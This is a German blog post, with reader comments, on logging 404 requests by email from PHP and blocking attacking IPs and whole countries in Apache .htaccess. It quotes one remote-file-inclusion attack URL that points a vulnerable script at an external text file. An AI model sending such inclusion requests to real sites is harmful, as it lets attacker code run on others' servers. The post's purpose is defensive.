toscho.design

.htaccess: Angriffe sehen und blockieren

Jede Website ist ein Angriffsziel. Ob groß oder klein, ob dynamisch oder statisch – das spielt kaum eine Rolle. Denn nicht nur Scripte können Sicherheitslücken haben, sondern auch Webserver.

Auf dieses Problem gibt es drei Antworten:

  1. Augen zu, und hoffen, daß es einen selbst nicht trifft. Das ist leider der Normalfall.
  2. Möglichst viele Angriffe automatisiert schon bei der Anfrage erkennen und blockieren. Dazu habe ich schon einen Ansatz vorgestellt.
  3. Nicht den einzelnen Angriff blockieren, sondern den Angreifer.

Heute möchte ich die dritte Variante anhand des Webservers Apache und der Steuerungsdatei .htaccess diskutieren. Sie funktioniert im Groben so:

  1. Ich verbiete in der .htaccess die typischen XSS-Requests nicht mehr, sondern ich lasse mir eine E-Mail schicken, wenn ein Request mit dem Status 404 beantwortet wird.
  2. In der E-Mail stehen dann die Details des Requests, natürlich auch die IP-Adresse.
  3. Diese IP-Adresse überprüfe ich dann: Aus welchem Land kommt sie und von welchem Anbieter?
  4. Deutsche Anbieter bekommen dann von mir eine Nachricht und die Bitte, das Problem aus der Welt zu räumen. Klappt oft ganz gut. Ein bißchen hoffe ich hier auch, daß dem Angreifer der Vertrag gekündigt wird, über den er sein Script laufen läßt (Webhosting oder gar der eigene Internet-Anschluß).
  5. Kommt die IP-Adresse woanders her, sperre ich sie per .htaccess. Dafür sind keine langsamen Rewrite-Regeln nötig, also profitieren alle anderen Besucher von einer verbesserten Performance.

Der Vorteil dieses Ansatzes: Wenn der Angreifer eine Methode probiert, die ich noch nicht kenne, spielt das kaum eine Rolle, denn er kann ja nicht mehr zugreifen. Üblicherweise testet er aber zuerst die einfachen Methoden, die ich sofort erkenne. Die sehen meistens so aus:

http://example.net//public_includes/pub_blocks/activecontent.php?vsDragonRootPath=http://example.com/id2.txt

Der Nachteil: Ich muß schnell reagieren. Wer nicht jeden Tag mehrere Stunden online ist, sollte diesen Weg nicht gehen.

Okay, genug der Theorie, zur Praxis!

Wir brauchen eine 404-Seite mit automatischem E-Mailversand. Das darf ganz einfach sein:

<?php
header('Content-Type: text/html;charset=utf-8');
header('HTTP/1.0 404 Not Found');
?>
<!doctype html>
<html lang="de">
<meta charset="utf-8">
<title>404</title>
<h1>404</h1>
<p><?php echo htmlspecialchars($_SERVER['REDIRECT_URL']); ?> haben wir nicht.
Zur <a href="/">Startseite</a>.</p>
<?php
// Yahoo und Google interessieren uns nicht.
if ( ! ( FALSE !== strpos($_SERVER['REQUEST_URI'], 'noexist' )
    or FALSE !== strpos($_SERVER['REQUEST_URI'], 'SlurpConfirm') ) )
{
  mail(
    '[email protected]',
    '404: '. $_SERVER['HTTP_HOST'] . addslashes($_SERVER['REQUEST_URI']),
    'Request:     '
        . $_SERVER['REQUEST_METHOD']
        . ' http://' . $_SERVER['HTTP_HOST']
        . $_SERVER['REQUEST_URI'] . "\r\n" .
    (isset($_SERVER['HTTP_REFERER']) ?
        'Referer:     ' . addslashes($_SERVER['HTTP_REFERER']) . "\r\n" : '') .
    (isset($_SERVER['HTTP_USER_AGENT']) ?
        'User-Agent:  ' . addslashes($_SERVER['HTTP_USER_AGENT']) . "\r\n" : '') .
    'IP:          http://ip-lookup.net/?ip='
        . ( isset ( $_SERVER['HTTP_X_FORWARDED_FOR'] )
            ? $_SERVER['HTTP_X_FORWARDED_FOR']
            : $_SERVER['REMOTE_ADDR'] ),
    'MIME-Version: 1.0' . "\r\n"
        . 'Content-Type: text/plain; charset=UTF-8' . "\r\n"
        . 'Content-Transfer-Encoding: 8bit' . "\r\n"
        . 'From: Error-Messenger <mail@' . $_SERVER['HTTP_HOST'] . '>' . "\r\n"
        . 'List-Id: "404" 404.List' . "\r\n"
  );
}

Die IP-Adresse verlinke ich gleich mit dem Service auf ip-lookup.net; die E-Mail-Adresse mußt du natürlich anpassen. Außerdem deklariere ich eine Mailingliste, damit mein Mailprogramm automatisch einen separaten Zugriffspunkt für diese Nachrichten einrichtet und nicht den Posteingang zumüllt.

Bei »legitimen« 404-Zugriffen, die durch harmloses Herumprobieren oder kaputte Links zustandekommen, lösche ich die E-Mail sofort. Das gebietet schon der Datenschutz. Die anderen hebe ich für eine Häufigkeitsanalyse auf.

Die .htaccess sieht jetzt (verkürzt dargestellt) so aus:

ErrorDocument 403 /403.php
order allow,deny
# Indien
deny from 122.168.68
deny from 203.94.228
# Korea (Sued)
deny from 61.100.189.234
deny from 114.200.199.144
deny from 141.223.5.12
# ... und noch viel mehr ...
allow from all

Die 403.php schickt den ungebetenen Gast einfach weg:

<?php
// 403
header('Location: http://localhost', TRUE, 301);
die();

Das ist zwar nicht gerade »technisch sauber«, aber es spart Traffic.

China blockiere ich inzwischen komplett. Das bedauere ich wirklich, aber es hat die Zahl der Angriffe um etwa 70—80% gesenkt. Allerdings hat das auch meine .htaccess auf über 40 KiB aufgebläht. Das kann je nach Server die Performance beeinträchtigen.
Testet solche drastischen Blockaden also gut, am besten dann, wenn gerade der meiste Traffic auf eurer Website herrscht. Hier ist das so gegen 13:00 Uhr an Wochentagen.

Ich betreue viele Websites; das Mailverfahren wende ich aber nur bei wenigen an. Dennoch profitieren alle davon, weil ich die so gewonnene Sperrliste ja überall einsetze.

Nachtrag: Freche Bots spürt man schnell auf, indem man in der robots.txt ein Verzeichnis verbietet, das nicht existiert. Etwa so:

User-agent: *
Disallow: /krafumpel

Jeder Zugriff darauf kommt von einem Spider, der sich absichtlich nicht an die Angabe hält (oder von einem neugierigen Besucher); das Mailscript bringt den Spuk dann gleich ans Licht.

Mehr Lektüre zum Thema

22 Kommentare

  1. Andy am 18.07.2009 · 17:36

    Hey, danke für diese Methode. Bisher sind meine Webseiten größtenteils von Angriffen verschont geworden. Aber man weiß ja nie, wann sich das ändert und man sollte immer gut gerüstet sein.

  2. GwenDragon am 18.07.2009 · 19:30

    So ähnlich mache ich es auch. Nur nicht mit PHP. ;)

    toscho schrieb:

    Allerdings hat das auch meine .htaccess auf über 40 KiB aufgebläht. Das kann je nach Server die Performance beeinträchtigen.

    Wenn es in die Serverkonfig kommt, wird es etwas besser, dann muss nicht bei jedem Request die .htaccess geladen werden.
    Aber die Serverkonfiguration musst du natürlich ändern dürfen.

  3. Boris am 19.07.2009 · 16:40

    Ich mache es nicht nur über IP Sperren, sondern auch über eine aktualisierte Liste von Spambots, die auf verschiedene Art und Weisen (über eine .htaccess) blockiert werden.

    Gibt es z.B. bei botsense.com und funktioniert auch gut.

  4. Thomas Scholz am 19.07.2009 · 17:15

    @Boris: Bots sperre ich natürlich auch, wie im früheren Artikel skizziert. Der hier beschriebene Ansatz zielt nur auf echte Angreifer. Er kann und sollte mit weiteren Techniken kombiniert werden.

    Wie funktioniert das bei Botsense? Zu den technischen Details steht auf der Website wenig, und ich möchte mich nicht extra anmelden, um nur eine Liste aktueller Spambots zu bekommen. Die Vertragsbedingungen schrecken mich doch ein bißchen ab.

    Nachtrag 05.01.2010: Und inzwischen ist das eine reine Spamseite.

  5. David am 20.07.2009 · 12:55

    IPs sperren? Mir ist schon klar, dass viele IPs fix sind, aber wie will man das nur anhand der IP herausfinden? Und kann man diese Sperren nich mit einem Proxy umgehen, wenn man denn will?

  6. Thomas Scholz am 20.07.2009 · 13:20

    @David: Die Proxys haben ja auch IP-Adressen. ☻
    Mit diesem Verfahren lassen sich »typische« Quellen erkennen und auch prophylaktisch blockieren.
    Beispiel: Im Lauf der letzten Wochen habe ich über mehrere Webseiten verstreut immer wieder Angriffe von einer koreanischen Universität, der letzte erst heute von der IP 141.223.5.11.
    Jetzt blocke ich nicht mehr jede separate IP von dort, sondern ich schreibe in meine .htaccess:

    deny from 141.223.5.

    Damit habe ich auch künftige Zugriffe verhindert. Ohne eine sehr aufwendige Logfile-Analyse wäre dieses Ergebnis nicht anders zu erreichen.

    Aber du hast recht: Das Verfahren ist kein Schweizer Messer. Nur eine Klinge.

  7. David am 20.07.2009 · 13:32

    Die Idee mit der automatischen Benachrichtigung find ich gut, die werde ich auch übernehmen. Bisher hab ich nur in unregelmäßigen Abständen meine Logfiles überflogen.

    Das auch Proxis eine IP haben ist mir durchaus klar, aber ich frage mich, wie hoch die „Gefahr“ ist, dass durch solche Sperren ein Besucher ohne böse Absicht geblockt wird.

  8. David am 20.07.2009 · 13:45

    Entschuldige, wenn ich hier rumspame, aber mir ist gerade noch etwas aufgefallen. Wenn ein Cracker nun deine Seite angreift, indem er versucht eine externe Datei einzuschleusen (so zumindest hab ich den Sinn deiner Beispiel-URL verstanden), dann müsste er die Datei nur „noexist.txt“ oder „SlurpConfirm.txt“ nennen und schon dürfte die E-Mail doch nicht mehr versendet werden, oder?

  9. Thomas Scholz am 20.07.2009 · 15:12

    @David: Guter Hinweis! Da habe ich das Script ein bißchen zu einfach geschrieben.
    Bisher habe ich solche Versuche noch nicht beobachtet – ich sehe natürlich jeden Monat meine Logfiles durch – aber ausschließen kann ich diesen Fall nicht. Man könnte die Request-URI-Kontrolle ergänzen um eine Prüfung der IP-Adresse: Stammt sie von Google oder Yahoo, dann keine Mail, sonst … doch.

    Der Grund für diese Ausschlußklausel ist eigentlich nur Yahoo: Deren Spider testet gerne mal die ganze Nacht Fehlerseiten im Halbstundentakt. Google begnügt sich mit maximal zwei Anfragen pro Tag.

  10. Andy am 20.07.2009 · 21:17

    Bisher war mir sowas gar nicht bekannt, danke für die guten Tipps

  11. datenkind am 20.07.2009 · 21:23

    Arrfgh … jetzt merkt man das erst einmal … Schande, hätt ich schon früher einbauen sollen. Seltsam, dass bei mir viele spanische und holländische Angriffe eintreffen. China jedenfalls steht schon fast komplett vor verschlossener Tür. Tut mir ja leid für die ehrlichen (zufälligen) Besucher, aber da hab ich einfach keine Lust mehr drauf.

  12. David am 21.07.2009 · 19:04

    Feine Sache, das. Allerdings sollte man im Hauptverzeichnis ein favicon.ico liegen haben. Sonst bekommt man für jeden Request mit einem Gecko eine Mail :/

  13. Thomas Scholz am 21.07.2009 · 19:41

    @David: Nach dem Favicon suchen auch andere Browser manchmal einfach so. Normalerweise kann der Nutzer das abstellen; aber darauf dürfen wir uns natürlich nicht verlassen.

    Aus der Reihe ›Antiquiertes Wissen‹
    Wenn du im Markup kein Favicon referenzierst, sucht der IE 5 erst im aktuellen Verzeichnis danach, dann in dem darüber … bis er ganz oben angekommen ist.
    Abhilfe:

    # IE 5
    RedirectMatch Permanent ^(.+)/favicon\.ico$ http://toscho.de/favicon.ico

    Geckos lösen auch manchmal relative Links im Stylesheet falsch auf. Über diese Mails freue ich mich besonders.
    Falls jemand einen knuffigen Workaround kennt: Nur her damit!

  14. David am 22.07.2009 · 10:10

    Ja: absolute Pfade benutzen ;)

  15. Thomas Hey'l am 27.07.2009 · 17:45

    Hallo Thomas!

    Ich bin bei Deinem Ansatz skeptisch. Eine persistente Sperre von IP-Adressen benutze ich auch, aber nur bei solchen, die statisch aus einem ganz sicher bekannten Bereich kommen.

    Ich habe jedoch auch alle möglichen Schlingel zu Besuch, die mit falschen IP-Adressen / dynamischen 'reinkommen und ebenso gefakten user agents und/oder referrern. Es gibt so allerlei Prüfmethoden, Bösewichte aufzutreiben. Bei einer tatsächlich angegriffenen Seite oder einem fehlkonfigurierten Offline-Browser tust Du Dir mit der Mail-Lösung in bestimmten Situationen keinen gefallen. Bei knapp 100.000 Mails, die innerhalb weniger Stunden generiert werden, könnte Dein Mailserver abwinken. Solche Fälle hatte ich schon.

    Habe ich jetzt einen entscheidenden Punkt (Einschränkung) nicht erkannt?

    Grüße Thomas

  16. Thomas Scholz am 27.07.2009 · 18:07

    @Thomas Hey’l: Sicher muß man genau überlegen, auf welcher Website man diesen Ansatz verfolgt. Wenn die Site schon an der Grenze ihrer Belastbarkeit agiert oder täglich zehntausende Zugriffe verarbeiten muß, dann rate auch ich davon ab.

    Die »knapp 100.000 Mails« habe ich noch nie erlebt. Nicht einmal einen Hauch davon. Nach meiner Erfahrung – die gewiß noch nicht zum Verallgemeinern einlädt – geben 95% aller Angreifer nach spätestens 20 Zugriffen auf; sehr, sehr selten übersteigt die Zahl 40 Zugriffe.

    Sicherheitshalber kann man ja die konventionellen Verbote bestimmter Requests anschalten, wenn man mal mehr als drei Stunden keine E-Mail abrufen kann. Das mache ich auch.

  17. Thomas Hey'l am 20.10.2009 · 15:04

    Hallo Thomas!

    Knapp 100.000 ist vielleicht übertrieben - je nach Server. Mein Rekord liegt bei 57.816 Zugriffen innerhalb einiger Stunden von einem einzigen Client am 24. November 2008 (> 19 MB in der error_log). Ich wünschte, ich hätte so viele echte PIs im Monat ;-) .

    Beste Grüße, Thomas

  18. Wolfgang Wagner am 01.11.2010 · 13:29

    Hi,

    danke für diese Tipps, die kann ich heute gut gebrauchen.

    Gruß
    Wolfgang

  19. GwenDragon am 02.12.2010 · 19:47

    Längere deny from-Listen bremsen sowohl in der .htaccess als auch in der Serverkonfiguration für den VHost erheblich und die Antwortzeiten werden länger.
    Eben mal Vietnam, Korea und Chinas blocken, weil von dort alles gesaugt wird oder DoS kommt, ist da mit erheblichen Einbußen an Webseitenperformance verbunden. :-(

  20. Thomas Scholz am 02.12.2010 · 19:51

    @GwenDragon: Kann ich nicht nachvollziehen. Ich blockiere hier China und Nordkorea komplett und und ohne spürbare Verzögerung. Wie bei allen IT-Problemen hilft dir vermutlich mehr RAM. :)

  21. GwenDragon am 03.12.2010 · 17:23

    Hmm, von 1.3 GB sind noch 860 MB unbenutzt. Am RAM liegt es nicht.

  22. Andreas Hecht am 20.11.2011 · 20:45

    Vielen Dank Dir für diesen mal wieder sehr hilfreichen Artikel (und das Download Material), Du solltest Dich langsam mal auf WP-Security spezialisieren :-)